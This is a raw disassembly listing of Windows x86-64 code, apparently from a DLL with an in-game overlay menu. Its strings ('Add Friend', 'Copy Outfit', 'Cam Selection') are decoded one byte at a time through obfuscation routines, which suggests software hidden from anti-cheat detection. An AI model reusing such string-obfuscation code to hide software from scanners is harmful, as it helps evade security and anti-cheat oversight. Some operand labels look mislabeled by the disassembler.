mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e4bc0
lea rcx, [rbp + 0x3e90]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3278]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e98]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3278]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x818], eax
mov word [rbp + 0x81c], ax
mov cl, 0x4d
call fcn.180014910
mov byte [rsp + 0x50], al
mov cl, 0x79
call fcn.180014910
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180014910
mov byte [rsp + 0x52], al
mov cl, 0x50
call fcn.180014910
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014910
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014910
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.180014910
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014910
movzx r12d, al
mov cl, 0x69
call fcn.180014910
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014910
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014910
movzx esi, al
mov cl, 0x20
call fcn.180014910
movzx edi, al
mov cl, 0x3a
call fcn.180014910
movzx ebx, al
xor ecx, ecx
call fcn.180014910
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x810], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x811], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x812], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x813], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x814], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x815], cl
mov byte [rbp + 0x816], r13b
mov byte [rbp + 0x817], r12b
mov byte [rbp + 0x818], r15b
mov byte [rbp + 0x819], r14b
mov byte [rbp + 0x81a], sil
mov byte [rbp + 0x81b], dil
mov byte [rbp + 0x81c], bl
mov byte [rbp + 0x81d], al
lea rcx, [rbp + 0x3298]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3298]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x810]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180014910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3298]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e4db0
lea rcx, [rbp + 0x3298]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x49d8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3298]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3ea0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4c78]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3ea8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4c78]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movss xmm8, dword [0x1801ce774]
movaps xmm0, xmm8
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rsi + 0xd]
call fcn.1800696e0
lea rcx, [rbp + 0x3eb0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm8
lea rcx, [rbp + 0x3eb8]
call fcn.180011e10
mov r13, rax
xor eax, eax
mov dword [rbp + 0x168], eax
mov word [rbp + 0x16c], ax
mov cl, 0x54
call fcn.180056b40
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056b40
movzx r14d, al
mov cl, 0x20
call fcn.180056b40
movzx esi, al
mov cl, 0x54
call fcn.180056b40
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b40
movzx ebx, al
xor ecx, ecx
call fcn.180056b40
mov byte [rbp + 0x168], r15b
mov byte [rbp + 0x169], r14b
mov byte [rbp + 0x16a], sil
mov byte [rbp + 0x16b], dil
mov byte [rbp + 0x16c], bl
mov byte [rbp + 0x16d], al
lea rcx, [rbp + 0x32b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x32b8]
call fcn.180014330
mov edi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0x168]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180056b40
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x32b8]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800e4fb0
lea rcx, [rbp + 0x32b8]
call fcn.1800143e0
mov rdx, r13
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x32b8]
call fcn.180011f20
test bl, bl
je 0x1800e5026
lea rcx, [0x1805e5b98]
call fcn.1800543e0
lea rcx, [rbp + 0x4bb0]
call fcn.1800afb50
movaps xmm1, xmm11
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x3ec0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0x3ec8]
call fcn.180011e10
mov qword [rbp + 0x1118], rax
xor eax, eax
cmp byte [rsp + 0x5c], al
je 0x1800e51c4
mov qword [rbp + 0x520], rax
mov dword [rbp + 0x528], eax
mov word [rbp + 0x52c], ax
mov byte [rbp + 0x52e], al
mov cl, 0x52
call fcn.180014940
mov byte [rsp + 0x5c], al
mov cl, 0x65
call fcn.180014940
mov byte [rsp + 0x50], al
mov cl, 0x6d
call fcn.180014940
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014940
mov byte [rsp + 0x52], al
mov cl, 0x76
call fcn.180014940
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014940
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180014940
mov byte [rsp + 0x55], al
mov cl, 0x46
call fcn.180014940
movzx r13d, al
mov cl, WSAStartup
call fcn.180014940
movzx r12d, al
mov cl, 0x69
call fcn.180014940
movzx r15d, al
mov cl, 0x65
call fcn.180014940
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014940
movzx esi, al
mov cl, 0x64
call fcn.180014940
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014940
movzx ebx, al
xor ecx, ecx
call fcn.180014940
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x520], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x521], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x522], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x523], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x524], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x525], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x526], cl
mov byte [rbp + 0x527], r13b
mov byte [rbp + 0x528], r12b
mov byte [rbp + 0x529], r15b
mov byte [rbp + 0x52a], r14b
mov byte [rbp + 0x52b], sil
mov byte [rbp + 0x52c], dil
mov byte [rbp + 0x52d], bl
mov byte [rbp + 0x52e], al
lea rdx, [rbp + 0x4698]
lea rcx, [rbp + 0x520]
call fcn.180013f70
nop
mov ebx, 0x40
jmp 0x1800e52c9
mov qword [rbp + 0xac0], rax
mov dword [rbp + 0xac8], eax
mov cl, 0x41
call fcn.180056740
mov byte [rsp + 0x5c], al
mov cl, 0x64
call fcn.180056740
mov byte [rsp + 0x50], al
mov cl, 0x64
call fcn.180056740
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056740
mov byte [rsp + 0x52], al
mov cl, 0x46
call fcn.180056740
movzx r13d, al
mov cl, WSAStartup
call fcn.180056740
movzx r12d, al
mov cl, 0x69
call fcn.180056740
movzx r15d, al
mov cl, 0x65
call fcn.180056740
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056740
movzx esi, al
mov cl, 0x64
call fcn.180056740
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056740
movzx ebx, al
xor ecx, ecx
call fcn.180056740
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xac0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xac1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xac2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xac3], cl
mov byte [rbp + 0xac4], r13b
mov byte [rbp + 0xac5], r12b
mov byte [rbp + 0xac6], r15b
mov byte [rbp + 0xac7], r14b
mov byte [rbp + 0xac8], sil
mov byte [rbp + 0xac9], dil
mov byte [rbp + 0xaca], bl
mov byte [rbp + 0xacb], al
lea rdx, [rbp + 0x4678]
lea rcx, [rbp + 0xac0]
call fcn.180054330
nop
mov ebx, 0x80
mov dword [rbp - 0x78], ebx
mov rcx, rax
call fcn.1800143e0
mov rcx, rax
mov rdx, qword [rbp + 0x1118]
call fcn.180094d40
movzx edi, al
test bl, bl
jns 0x1800e52fb
btr ebx, 7
lea rcx, [rbp + 0x4678]
call fcn.180011f20
nop
test bl, 0x40
je 0x1800e530c
lea rcx, [rbp + 0x4698]
call fcn.180011f20
test dil, dil
je 0x1800e531a
mov ecx, dword [rsp + 0x68]
call fcn.1800645e0
movaps xmm0, xmm8
call fcn.180076bd0
lea rcx, [rbp + 0x3ed0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0x3ed8]
call fcn.180011e10
mov qword [rbp + 0x1118], rax
xor eax, eax
mov qword [rbp + 0xa70], rax
mov dword [rbp + 0xa78], eax
mov cl, 0x43
call fcn.1800569d0
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569d0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800569d0
mov byte [rsp + 0x51], al
mov cl, 0x79
call fcn.1800569d0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.1800569d0
movzx r13d, al
mov cl, 0x4f
call fcn.1800569d0
movzx r12d, al
mov cl, 0x75
call fcn.1800569d0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569d0
movzx r14d, al
mov cl, 0x66
call fcn.1800569d0
movzx esi, al
mov cl, 0x69
call fcn.1800569d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800569d0
movzx ebx, al
xor ecx, ecx
call fcn.1800569d0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa70], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa71], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa72], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa73], cl
mov byte [rbp + 0xa74], r13b
mov byte [rbp + 0xa75], r12b
mov byte [rbp + 0xa76], r15b
mov byte [rbp + 0xa77], r14b
mov byte [rbp + 0xa78], sil
mov byte [rbp + 0xa79], dil
mov byte [rbp + 0xa7a], bl
mov byte [rbp + 0xa7b], al
lea rcx, [rbp + 0x32d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x32d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xa70]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800569d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x32d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e5470
lea rcx, [rbp + 0x32d8]
call fcn.1800143e0
mov rdx, qword [rbp + 0x1118]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x32d8]
call fcn.180011f20
test bl, bl
je 0x1800e550b
lea rcx, [0x1805e5bb8]
call fcn.1800306a0
mov rbx, rax
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x3ee0]
call fcn.1800ed010
mov rdx, rax
lea rcx, [rbp + 0x4b48]
call fcn.1800edbe0
mov rdx, rax
mov rcx, rbx
call fcn.18002d230
mov ecx, 1
call fcn.1800697c0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
nop
lea rcx, [rbp + 0x4c58]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4c78]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4c98]
call fcn.180011f20
nop
lea rcx, [rbp + 0x4cb8]
call fcn.180011f20
movss xmm10, dword [0x1801ce7ac]
jmp 0x1800e5575
movss xmm7, dword [0x1801ce7a8]
lea rcx, [0x1805e4bf0]
call fcn.1800161f0
lea rcx, [0x1805e4b90]
call fcn.1800161f0
call fcn.180070430
cmp byte [0x1805e4f61], 0
je 0x1800e55b0
xor edx, edx
lea rcx, str.wkfLtCiMTA
call fcn.180077c30
mov byte [0x1805e4f61], 0
movss xmm2, dword [0x1801ce808]
movss xmm1, dword [0x1801ce84c]
lea rcx, [rbp + 0x3ee8]
call fcn.180011e10
mov rcx, rax
xor edx, edx
call fcn.180075bd0
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3ef0]
call fcn.180011e10
mov rbx, rax
movss xmm0, dword [rbp + 0x4ba4]
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1801ce618]
subsd xmm0, qword [0x1801ce6c0]
cvtpd2ps xmm2, xmm0
movss xmm0, dword [rbp + 0x4ba0]
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1801ce618]
subsd xmm0, qword [0x1801ce6e0]
cvtpd2ps xmm1, xmm0
lea rcx, [rbp + 0x3ef8]
call fcn.180011e10
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.180075b90
xor edx, edx
lea r8d, [rdx + 0x1f]
lea rcx, str.wkfLtCiMTA
call fcn.180078490
test al, al
je 0x1800e65c1
mov dword [rsp + 0x20], 0xff
mov edi, reloc.WS2_32.dll_sendto
mov r9d, edi
mov r8d, edi
mov edx, edi
lea rcx, [rbp + 0x49e8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rdi - 0x11]
call fcn.180069630
lea rcx, [rbp + 0x3f00]
call fcn.18005f100
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x820], rax
mov dword [rbp + 0x828], eax
mov word [rbp + 0x82c], ax
mov cl, 0x23
call fcn.1800146c0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800146c0
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146c0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146c0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146c0
mov byte [rsp + 0x53], al
mov cl, 0x75
call fcn.1800146c0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146c0
movzx r13d, al
mov cl, 0x5f
call fcn.1800146c0
movzx r12d, al
mov cl, 0x63
call fcn.1800146c0
movzx r15d, al
mov cl, 0x68
call fcn.1800146c0
movzx r14d, al
mov cl, 0x69
call fcn.1800146c0
movzx esi, al
mov cl, 0x6c
call fcn.1800146c0
movzx edi, al
mov cl, 0x64
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x820], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x821], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x822], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x823], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x824], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x825], cl
mov byte [rbp + 0x826], r13b
mov byte [rbp + 0x827], r12b
mov byte [rbp + 0x828], r15b
mov byte [rbp + 0x829], r14b
mov byte [rbp + 0x82a], sil
mov byte [rbp + 0x82b], dil
mov byte [rbp + 0x82c], bl
mov byte [rbp + 0x82d], al
lea rcx, [rbp + 0x32f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000000
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x32f8]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x820]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x32f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e57f0
lea rcx, [rbp + 0x32f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
movzx ebx, al
lea rcx, [rbp + 0x32f8]
call fcn.180011f20
test bl, bl
je 0x1800e65b1
mov rcx, qword [0x1805e4a20]
call fcn.180075760
mov dword [rsp + 0x20], 0xff
mov edx, 0x1a
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x49f8]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 7]
call fcn.180069630
movss xmm0, dword [0x1801ce784]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x618], eax
mov byte [rbp + 0x61c], al
mov cl, 0x43
call fcn.180056890
mov byte [rsp + 0x5c], al
mov cl, 0x61
call fcn.180056890
mov byte [rsp + 0x50], al
mov cl, WSAStartup
call fcn.180056890
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056890
mov byte [rsp + 0x52], al
mov cl, 0x53
call fcn.180056890
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056890
movzx r13d, al
mov cl, 0x6c
call fcn.180056890
movzx r12d, al
mov cl, 0x65
call fcn.180056890
movzx r15d, al
mov cl, 0x63
call fcn.180056890
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056890
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056890
movzx edi, al
mov cl, WSAStartup
call fcn.180056890
movzx ebx, al
xor ecx, ecx
call fcn.180056890
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x610], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x611], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x612], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x613], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x614], cl
mov byte [rbp + 0x615], r13b
mov byte [rbp + 0x616], r12b
mov byte [rbp + 0x617], r15b
mov byte [rbp + 0x618], r14b
mov byte [rbp + 0x619], sil
mov byte [rbp + 0x61a], dil
mov byte [rbp + 0x61b], bl
mov byte [rbp + 0x61c], al
lea rcx, [rbp + 0x3318]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3318]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x610]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056890
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3318]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e59e0
lea rcx, [rbp + 0x3f08]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3318]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3f10]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3318]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x570], rax
mov dword [rbp + 0x578], eax
mov byte [rbp + 0x57c], al
mov cl, 0x43
call fcn.180014740
mov byte [rsp + 0x5c], al
mov cl, 0x61
call fcn.180014740
mov byte [rsp + 0x50], al
mov cl, WSAStartup
call fcn.180014740
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x52], al
mov cl, 0x53
call fcn.180014740
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014740
movzx r13d, al
mov cl, 0x6c
call fcn.180014740
movzx r12d, al
mov cl, 0x65
call fcn.180014740
movzx r15d, al
mov cl, 0x63
call fcn.180014740
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014740
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014740
movzx edi, al
mov cl, WSAStartup
call fcn.180014740
movzx ebx, al
xor ecx, ecx
call fcn.180014740
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x570], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x571], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x572], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x573], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x574], cl
mov byte [rbp + 0x575], r13b
mov byte [rbp + 0x576], r12b
mov byte [rbp + 0x577], r15b
mov byte [rbp + 0x578], r14b
mov byte [rbp + 0x579], sil
mov byte [rbp + 0x57a], dil
mov byte [rbp + 0x57b], bl
mov byte [rbp + 0x57c], al
lea rcx, [rbp + 0x3338]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3338]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x570]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014740
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3338]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e5bb0
lea rcx, [rbp + 0x3338]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3338]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4190]
call fcn.180076f00
movss xmm0, dword [rax]
subss xmm0, xmm7
call fcn.180076c70
movaps xmm0, xmm8
call fcn.180076bd0
movsxd rdx, dword [0x1805e4e5c]
lea rcx, [0x1805e5560]
call fcn.1800a9b70
mov rcx, rax
call fcn.1800143e0
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb90], xmm0
mov dword [rbp + 0xba0], eax
mov word [rbp + 0xba4], ax
mov byte [rbp + 0xba6], al
mov cl, 0x23
call fcn.1800149a0
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.1800149a0
mov byte [rsp + 0x50], al
mov cl, WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.1800149a0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800149a0
mov byte [rsp + 0x53], al
mov cl, 0x6c
call fcn.1800149a0
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.1800149a0
mov byte [rsp + 0x55], al
mov cl, 0x63
call fcn.1800149a0
mov byte [rsp + 0x56], al
mov cl, 0x65
call fcn.1800149a0
mov byte [rsp + 0x57], al
mov cl, 0x5f
call fcn.1800149a0
mov byte [rsp + 0x58], al
mov cl, 0x63
call fcn.1800149a0
mov byte [rsp + 0x59], al
mov cl, 0x61
call fcn.1800149a0
mov byte [rsp + 0x5a], al
mov cl, WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x60], al
mov cl, 0x5f
call fcn.1800149a0
mov byte [rsp + 0x61], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x62], al
mov cl, 0x65
call fcn.1800149a0
movzx r13d, al
mov cl, 0x6c
call fcn.1800149a0
movzx r12d, al
mov cl, 0x65
call fcn.1800149a0
movzx r15d, al
mov cl, 0x63
call fcn.1800149a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800149a0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149a0
movzx edi, al
mov cl, WSAStartup
call fcn.1800149a0
movzx ebx, al
xor ecx, ecx
call fcn.1800149a0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xb90], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb91], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb92], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb93], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb94], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xb95], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xb96], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xb97], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xb98], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xb99], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xb9a], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xb9b], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xb9c], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xb9d], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xb9e], cl
mov byte [rbp + 0xb9f], r13b
mov byte [rbp + 0xba0], r12b
mov byte [rbp + 0xba1], r15b
mov byte [rbp + 0xba2], r14b
mov byte [rbp + 0xba3], sil
mov byte [rbp + 0xba4], dil
mov byte [rbp + 0xba5], bl
mov byte [rbp + 0xba6], al
lea rcx, [rbp + 0x3358]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_socket
mov edx, esi
lea rcx, [rbp + 0x3358]
call fcn.180014330
xor edi, edi
mov r14d, edi
mov rdx, r14
lea rcx, [rbp + 0xb90]
call fcn.180014800
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x3358]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800e5e71
lea rcx, [rbp + 0x3358]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.1800974c0
movzx ebx, al
lea rcx, [rbp + 0x3358]
call fcn.180011f20
test bl, bl
je 0x1800e5f73
mov esi, edi
lea rcx, [0x1805e5560]
call fcn.1800ed5f0
test rax, rax
je 0x1800e5f6e
nop
cmp dword [0x1805e4e5c], esi
sete byte [rbp + 0x4ba8]
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x3f18]
call fcn.180011e10
mov rbx, rax
mov rdx, rdi
lea rcx, [0x1805e5560]
call fcn.1800a9b70
mov rcx, rax
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4ba8]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800e5f4a
mov dword [0x1805e4e5c], esi
cmp byte [rbp + 0x4ba8], 0
je 0x1800e5f58
call fcn.180075c30
inc esi
movsxd rdi, esi
lea rcx, [0x1805e5560]
call fcn.1800ed5f0
cmp rdi, rax
jb 0x1800e5ef0
call fcn.180078610
call fcn.180076d20
call fcn.180075800
mov ecx, 1
call fcn.180069690
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movss xmm1, dword [0x1801ce5d0]
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov edx, socket
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4a08]
call fcn.180011e40
mov rdx, rax
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.180069630
movaps xmm0, xmm10
call fcn.180076bd0
movaps xmm2, xmm8
